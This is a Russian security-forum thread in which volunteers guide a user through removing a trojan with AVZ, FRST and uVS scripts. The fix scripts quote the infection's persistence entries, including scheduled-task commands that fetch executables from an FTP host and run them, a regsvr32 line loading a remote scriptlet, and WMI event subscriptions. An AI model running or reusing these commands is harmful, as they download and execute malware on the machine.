Решена Нужна помощь с трояном в заданиях планировщика

Статус
В этой теме нельзя размещать новые ответы.
Graf_Men

Graf_Men

Новый пользователь
Сообщения
17
Реакции
0
Такие задания генерируются у меня в планировщике заданий - очевидно что это какой-то троян, порыскав на просторах интернета пришел за помощью на этот форум. Прошу Вас помочь мне с этим нелегким делом.
 

Вложения

Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО.

Выполните скрипт в АВЗ (Файл - Выполнить скрипт):
Код: 
begin
SetupAVZ('QrPWD=malware');
 ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
 QuarantineFile('c:\windows\debug\item.dat>', '');
 QuarantineFile('C:\Windows\debug\lsmose.exe', '');
 QuarantineFile('c:\windows\debug\ok.dat', '');
 QuarantineFile('c:\windows\help\lsmosee.exe', '');
 QuarantineFile('c:\windows\mc\mcmc.exe', '');
 QuarantineFile('c:\windows\temp\conhost.exe', '');
 QuarantineFile('c:\windows\update.exe', '');
 DeleteFile('c:\windows\debug\item.dat', '64');
 DeleteFile('C:\Windows\debug\lsmose.exe', '32');
 DeleteFile('c:\windows\debug\ok.dat', '64');
 DeleteFile('c:\windows\help\lsmosee.exe', '64');
 DeleteFile('c:\windows\temp\conhost.exe', '32');
 DeleteFile('c:\windows\update.exe', '64');
 DeleteSchedulerTask('Mysa');
 DeleteSchedulerTask('Mysa1');
 DeleteSchedulerTask('Mysa2');
 DeleteSchedulerTask('Mysa3');
 DeleteSchedulerTask('ok');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start', 'x32');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start', 'x64');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start1', 'x64');
ExecuteSysClean;
 ExecuteWizard('SCU', 2, 3, true);
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
RebootWindows(true);
end.

Файл quarantine.zip из папки с распакованной утилитой AVZ отправьте с помощью этой формы или (если размер архива превышает 10 MB) на этот почтовый ящик: quarantine <at> safezone.cc (замените <at> на @) с указанием ссылки на тему в теме (заголовке) сообщения и с указанием пароля: virus в теле письма.

"Пофиксите" в HijackThis (некоторые строки могут отсутствовать):
Код: 
O21 - HKLM\..\ShellIconOverlayIdentifiers\    YndCase0Sync: (no name) - {63D48440-63AB-44D0-B323-4731DFCDE9E9} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\    YndCase1Modified: (no name) - {7E7DC279-E6BE-4D57-9DEC-14FA0339DBC0} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\    YndCase2Error: (no name) - {FB2FE984-05F5-4512-9D9B-69D3DE61F6D9} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\    YndCase3Shared: (no name) - {AF8D197E-7022-4c3d-BD88-68AD35C9C169} - (no file)

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
Подробнее читайте в этом руководстве.
 
Последнее редактирование модератором:
akok написал(а):
Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО.

Выполните скрипт в АВЗ (Файл - Выполнить скрипт):
Код: 
  begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
  begin
  SearchRootkit(true, true);
  SetAVZGuardStatus(True);
  end;
QuarantineFile('c:\windows\debug\ok.dat','');
QuarantineFile('c:\windows\help\lsmosee.exe','');
QuarantineFile('c:\windows\debug\item.dat>','');
QuarantineFile('c:\windows\update.exe','');
QuarantineFile('C:\Windows\mc\mcmc.exe','');
QuarantineFile('c:\windows\mc\mcmc.exe','');
QuarantineFile('C:\Windows\debug\lsmose.exe','');
QuarantineFile('c:\windows\temp\conhost.exe','');
DeleteFile('c:\windows\temp\conhost.exe','32');
DeleteFile('C:\Windows\debug\lsmose.exe','32');
DeleteFile('c:\windows\update.exe','64');
DeleteFile('c:\windows\debug\item.dat','64')
DeleteFile('c:\windows\update.exe','64');
DeleteFile('c:\windows\debug\item.dat','64');
DeleteFile('c:\windows\help\lsmosee.exe','64');
DeleteFile('c:\windows\debug\ok.dat','64');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start','x32');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start','x64');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start1','x64');
DeleteSchedulerTask('Mysa');
DeleteSchedulerTask('Mysa1');
DeleteSchedulerTask('Mysa2');
DeleteSchedulerTask('Mysa3');
DeleteSchedulerTask('ok');
   BC_Activate;
  ExecuteSysClean;
  ExecuteWizard('SCU', 2, 3, true);
BC_ImportALL;
RebootWindows(true);
end.
Компьютер перезагрузится.

После перезагрузки, выполните такой скрипт:

Код: 
begin
DeleteFile(GetAVZDirectory+'quarantine.7z');
ExecuteFile(GetAVZDirectory+'7za.exe', 'a -mx9 -pmalware quarantine .\Quarantine\*', 1, 300000, false);
end.

Файл quarantine.zip из папки с распакованной утилитой AVZ отправьте с помощью этой формы или (если размер архива превышает 10 MB) на этот почтовый ящик: quarantine <at> safezone.cc (замените <at> на @) с указанием ссылки на тему в теме (заголовке) сообщения и с указанием пароля: virus в теле письма.

"Пофиксите" в HijackThis (некоторые строки могут отсутствовать):
Код: 
O21 - HKLM\..\ShellIconOverlayIdentifiers\    YndCase0Sync: (no name) - {63D48440-63AB-44D0-B323-4731DFCDE9E9} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\    YndCase1Modified: (no name) - {7E7DC279-E6BE-4D57-9DEC-14FA0339DBC0} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\    YndCase2Error: (no name) - {FB2FE984-05F5-4512-9D9B-69D3DE61F6D9} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\    YndCase3Shared: (no name) - {AF8D197E-7022-4c3d-BD88-68AD35C9C169} - (no file)

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
Подробнее читайте в этом руководстве.
Нажмите для раскрытия...
Простите, в скрипте содержаться ошибки синтаксиса, не могли бы Вы перепроверить скрипт? Спасибо за Ваше внимание.

Graf_Men написал(а):
Простите, в скрипте содержаться ошибки синтаксиса, не могли бы Вы перепроверить скрипт? Спасибо за Ваше внимание.
Нажмите для раскрытия...
Я решил проблему с ошибкой в скрипте.

Отчеты по последнему пункту.
 

Вложения

Последнее редактирование модератором:
@Graf_Men, поправил скрипт.
 
  • Like
Реакции: akok
Да, пропустил ";"

Лог FRST собирали до выполнения скрипта?
 
В файл hosts сами добавляли?
O1 - Hosts: 27.255.77.37 www.pubyun.com

  • Отключите до перезагрузки антивирус.
  • Выделите следующий код:
    Код: 
    Start::
CreateRestorePoint:
Folder:c:\windows\debug
(TODO: <公司名>) C:\Windows\Temp\conhost.exe
(TODO: <公司名>) C:\Windows\debug\lsmose.exe
C:\Windows\Temp\conhost.exe
C:\Windows\debug\lsmose.exe
HKLM-x32\...\Run: [start] => regsvr32 /u /s /i:hxxp://js.ftp0930.host:280/v.sct scrobj.dll
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {2d6b9cdc-342d-11e8-b584-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {79bbf205-2aa9-11e8-9efc-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {79bbf207-2aa9-11e8-9efc-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {b78188f9-2dcf-11e8-8a8f-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {e6f680a7-e8e1-11e8-9744-c0f8dac57fd6} - F:\HiSuiteDownLoader.exe
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {f61b0760-2b73-11e8-bd83-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {f61b077a-2b73-11e8-bd83-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
2018-11-21 22:30 - 2018-11-21 22:30 - 000003520 _____ C:\Windows\System32\Tasks\Mysa
2018-11-21 22:30 - 2018-11-21 22:30 - 000003506 _____ C:\Windows\System32\Tasks\Mysa3
2018-11-21 22:30 - 2018-11-21 22:30 - 000003426 _____ C:\Windows\System32\Tasks\Mysa2
2018-11-21 22:30 - 2018-11-21 22:30 - 000003190 _____ C:\Windows\System32\Tasks\Mysa1
2018-11-21 22:30 - 2018-11-21 22:30 - 000003186 _____ C:\Windows\System32\Tasks\ok
Task: {4BC0A293-74B8-490F-B063-D4BA60FBD767} - System32\Tasks\Mysa => cmd /c echo open ftp.ftp0930.host>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe <==== ATTENTION
Task: {50F59FA9-B63C-4520-9A65-475E6DB3A91D} - System32\Tasks\Mysa3 => cmd /c echo open ftp.ftp0930.host>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe <==== ATTENTION
Task: {89048910-C333-4EA1-B7A5-6D00F22F711D} - System32\Tasks\Mysa2 => cmd /c echo open ftp.ftp0930.host>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
Task: {99885622-C67E-468C-A914-866D7E537B67} - System32\Tasks\Mysa1 => rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
Task: {A85D223D-6FC4-40A4-995F-C776BABE475E} - System32\Tasks\ok => rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
c:\windows\debug\ok.dat
c:\windows\debug\item.dat
c:\windows\debug\item.dat
c:\windows\update.exe
WMI:subscription\__FilterToConsumerBinding->\\.\root\subscription:ActiveScriptEventConsumer.Name=\"fuckyoumm2_consumer\"",Filter="\\.\root\subscription:__EventFilter.Name=\"fuckyoumm2_filter\": <==== ATTENTION
WMI:subscription\__TimerInstruction->fuckyoumm2_itimer: <==== ATTENTION
WMI:subscription\__IntervalTimerInstruction->fuckyoumm2_itimer: <==== ATTENTION
WMI:subscription\__EventFilter->fuckyoumm2_filter: <==== ATTENTION
EmptyTemp:
Reboot:
End::
  • Скопируйте выделенный текст (правой кнопкой - Копировать).
  • Запустите FRST (FRST64) от имени администратора.
  • Нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Подробнее читайте в этом руководстве.
 
akok написал(а):
В файл hosts сами добавляли?
O1 - Hosts: 27.255.77.37 www.pubyun.com

  • Отключите до перезагрузки антивирус.
  • Выделите следующий код:
    Код: 
    Start::
CreateRestorePoint:
Folder:c:\windows\debug
(TODO: <公司名>) C:\Windows\Temp\conhost.exe
(TODO: <公司名>) C:\Windows\debug\lsmose.exe
C:\Windows\Temp\conhost.exe
C:\Windows\debug\lsmose.exe
HKLM-x32\...\Run: [start] => regsvr32 /u /s /i:hxxp://js.ftp0930.host:280/v.sct scrobj.dll
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {2d6b9cdc-342d-11e8-b584-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {79bbf205-2aa9-11e8-9efc-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {79bbf207-2aa9-11e8-9efc-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {b78188f9-2dcf-11e8-8a8f-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {e6f680a7-e8e1-11e8-9744-c0f8dac57fd6} - F:\HiSuiteDownLoader.exe
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {f61b0760-2b73-11e8-bd83-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
HKU\S-1-5-21-466914110-2557974605-315394388-1000\...\MountPoints2: {f61b077a-2b73-11e8-bd83-c0f8dac57fd6} - F:\VZAccess_Manager.exe /z detect
2018-11-21 22:30 - 2018-11-21 22:30 - 000003520 _____ C:\Windows\System32\Tasks\Mysa
2018-11-21 22:30 - 2018-11-21 22:30 - 000003506 _____ C:\Windows\System32\Tasks\Mysa3
2018-11-21 22:30 - 2018-11-21 22:30 - 000003426 _____ C:\Windows\System32\Tasks\Mysa2
2018-11-21 22:30 - 2018-11-21 22:30 - 000003190 _____ C:\Windows\System32\Tasks\Mysa1
2018-11-21 22:30 - 2018-11-21 22:30 - 000003186 _____ C:\Windows\System32\Tasks\ok
Task: {4BC0A293-74B8-490F-B063-D4BA60FBD767} - System32\Tasks\Mysa => cmd /c echo open ftp.ftp0930.host>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe <==== ATTENTION
Task: {50F59FA9-B63C-4520-9A65-475E6DB3A91D} - System32\Tasks\Mysa3 => cmd /c echo open ftp.ftp0930.host>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe <==== ATTENTION
Task: {89048910-C333-4EA1-B7A5-6D00F22F711D} - System32\Tasks\Mysa2 => cmd /c echo open ftp.ftp0930.host>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
Task: {99885622-C67E-468C-A914-866D7E537B67} - System32\Tasks\Mysa1 => rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
Task: {A85D223D-6FC4-40A4-995F-C776BABE475E} - System32\Tasks\ok => rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
c:\windows\debug\ok.dat
c:\windows\debug\item.dat
c:\windows\debug\item.dat
c:\windows\update.exe
WMI:subscription\__FilterToConsumerBinding->\\.\root\subscription:ActiveScriptEventConsumer.Name=\"fuckyoumm2_consumer\"",Filter="\\.\root\subscription:__EventFilter.Name=\"fuckyoumm2_filter\": <==== ATTENTION
WMI:subscription\__TimerInstruction->fuckyoumm2_itimer: <==== ATTENTION
WMI:subscription\__IntervalTimerInstruction->fuckyoumm2_itimer: <==== ATTENTION
WMI:subscription\__EventFilter->fuckyoumm2_filter: <==== ATTENTION
EmptyTemp:
Reboot:
End::
  • Скопируйте выделенный текст (правой кнопкой - Копировать).
  • Запустите FRST (FRST64) от имени администратора.
  • Нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Подробнее читайте в этом руководстве.
Нажмите для раскрытия...
В файл hosts я ничего не добавлял.
 
"Пофиксите" в HijackThis (некоторые строки могут отсутствовать):
Код: 
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
 
@akok, fixlog
"Пофиксите" в HijackThis (некоторые строки могут отсутствовать):
akok написал(а):
Код: 
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
O1 - Hosts: 27.255.77.37 www.pubyun.com
Нажмите для раскрытия...
сделал это
 

Вложения

Последнее редактирование модератором:
c:\windows\debug\PASSWD.LOG - проверьте содержимое, нет ли там ваших паролей.

  • Отключите до перезагрузки антивирус.
  • Выделите следующий код:
    Код: 
    Start::
CreateRestorePoint:
c:\windows\debug\
Reboot:
End::
  • Скопируйте выделенный текст (правой кнопкой - Копировать).
  • Запустите FRST (FRST64) от имени администратора.
  • Нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Подробнее читайте в этом руководстве.
 
akok написал(а):
c:\windows\debug\PASSWD.LOG - проверьте содержимое, нет ли там ваших паролей.

  • Отключите до перезагрузки антивирус.
  • Выделите следующий код:
    Код: 
    Start::
CreateRestorePoint:
c:\windows\debug\
Reboot:
End::
  • Скопируйте выделенный текст (правой кнопкой - Копировать).
  • Запустите FRST (FRST64) от имени администратора.
  • Нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Подробнее читайте в этом руководстве.
Нажмите для раскрытия...
Там нет никаких паролей. :)

@akok, fixlog
 

Вложения

  • Fixlog.txt
    Fixlog.txt
    690 байт · Просмотры: 1
Последнее редактирование модератором:
Что с проблемой?
 
Скачайте AutorunsVTchecker. Распакуйте и запустите. Не дожидаясь окончания сканирования,
  1. Скачайте Universal Virus Sniffer (uVS)
  2. Извлеките uVS из архива или из zip-папки. Откройте папку с UVS и запустите файл start.exe. В открывшимся окне выберите пункт "Запустить под текущим пользователем".
  3. Выберите меню "Файл" => "Сохранить полный образ автозапуска". Программа предложит вам указать место сохранения лога в формате "имя_компьютера_дата_сканирования". Лог необходимо сохранить на рабочем столе.
    !!!Внимание. Если у вас установлены архиваторы WinRAR или 7-Zip, то uVS в автоматическом режиме упакует лог в архив, иначе это будет необходимо сделать вам вручную.​
  4. Дождитесь окончания работы программы и прикрепите лог к посту в теме.
    !!! Обратите внимание, что утилиты необходимо запускать от имени Администратора. По умолчанию в Windows XP так и есть. В Windows Vista и Windows 7 администратор понижен в правах по умолчанию, поэтому, не забудьте нажать правой кнопкой на программу, выбрать Запуск от имени Администратора, при необходимости укажите пароль администратора и нажмите "Да".​
Подробнее читайте в руководстве Как подготовить лог UVS.
 
Sandor написал(а):
Скачайте AutorunsVTchecker. Распакуйте и запустите. Не дожидаясь окончания сканирования,
  1. Скачайте Universal Virus Sniffer (uVS)
  2. Извлеките uVS из архива или из zip-папки. Откройте папку с UVS и запустите файл start.exe. В открывшимся окне выберите пункт "Запустить под текущим пользователем".
  3. Выберите меню "Файл" => "Сохранить полный образ автозапуска". Программа предложит вам указать место сохранения лога в формате "имя_компьютера_дата_сканирования". Лог необходимо сохранить на рабочем столе.
    !!!Внимание. Если у вас установлены архиваторы WinRAR или 7-Zip, то uVS в автоматическом режиме упакует лог в архив, иначе это будет необходимо сделать вам вручную.​
  4. Дождитесь окончания работы программы и прикрепите лог к посту в теме.
    !!! Обратите внимание, что утилиты необходимо запускать от имени Администратора. По умолчанию в Windows XP так и есть. В Windows Vista и Windows 7 администратор понижен в правах по умолчанию, поэтому, не забудьте нажать правой кнопкой на программу, выбрать Запуск от имени Администратора, при необходимости укажите пароль администратора и нажмите "Да".​
Подробнее читайте в руководстве Как подготовить лог UVS.
Нажмите для раскрытия...
 

Вложения

  1. Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО.
  2. Откройте папку с распакованной утилитой uVS и запустите файл start.exe. В открывшимся окне выберите пункт "Запустить под текущим пользователем".
  3. Выделите и правой кнопкой мыши скопируйте следующий скрипт в буфер обмена:
    Код: 
    ;uVS v4.1 [http://dsrt.dyndns.org]
;Target OS: NTv6.1
v400c
BREG
bl BF69865A3ACD3379B0A8D870CCD43618 113
zoo %SystemRoot%\WEB\N.VBS
delall %SystemRoot%\WEB\N.VBS
delref A.EXE
delref %SystemRoot%\DEBUG\ITEM.DAT
delref PS&AMP;C:\WINDOWS\HELP\LSMOSEE.EXE
delref %SystemRoot%\DEBUG\OK.DAT
delref S.DAT
delref S.RAR
delref S&AMP;C:\WINDOWS\UPDATE.EXE
zoo %SystemRoot%\INF\MSIEF.EXE
bl 5CA04ED0CEB72994A57B264427DB1671 302750
addsgn 1A22739A5583C28CF42B95BCAC695105D7FFFE044A08F63C83C3C53F31D271C7E294A25F3E92DC4DE38FC79F81173DE33EDF2B27DE36E6D3587F2FDE2FA8178C 8 Trojan.BAT.Starter.ly [Kaspersky] 7

chklst
delvir

czoo
restart
  4. В uVS выберите пункт меню "Скрипт" => "Выполнить скрипт находящийся в буфере обмена..."
  5. Нажмите на кнопку "Выполнить" и дождитесь окончания работы программы. Прошу учесть, что компьютер может быть перезагружен.
  6. После выполнения скрипта зайдите в папку, где распакована утилита uVS найдите архив, имя которого соответствует дате и времени запуска скрипта с префиксом ZOO_ (например: ZOO_2013-06-30_22-04-27.7z)
    Если архив отсутствует, то заархивруйте папку ZOO с паролем virus.​
  7. Полученный архив отправьте с помощью этой формы или (если размер архива превышает 10 MB) на этот почтовый ящик: quarantine <at> safezone.cc (замените <at> на @) с указанием ссылки на тему в теме (заголовке) сообщения и с указанием пароля: virus в теле письма.
Подробнее читайте в этом руководстве.

Соберите и прикрепите новый лог uVS.

А также:
  • Загрузите SecurityCheck by glax24 & Severnyj и сохраните утилиту на Рабочем столе
  • Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запустить от имени администратора (если Вы используете Windows Vista/7/8/8.1/10)
  • Если увидите предупреждение от вашего фаервола или SmartScreen относительно программы SecurityCheck, не блокируйте ее работу
  • Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt
  • Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt
  • Прикрепите этот файл к своему следующему сообщению.
 
  • Like
Реакции: akok
Статус
В этой теме нельзя размещать новые ответы.

Похожие темы

K
Закрыто Нужна помощь в расшифровке компьютера, paytogive@zohomail.eu
Ответы
6
Просмотры
286
Klop
K
8
Решена без расшифровки Шифрование файлов CryLock 2: помощь нужна
Ответы
6
Просмотры
332
823982349
8
F
  • Закрыта
Закрыто Нужна помощь с удалением майнера через FRST64.
Ответы
7
Просмотры
344
Sandor
Sandor
Назад
Сверху Снизу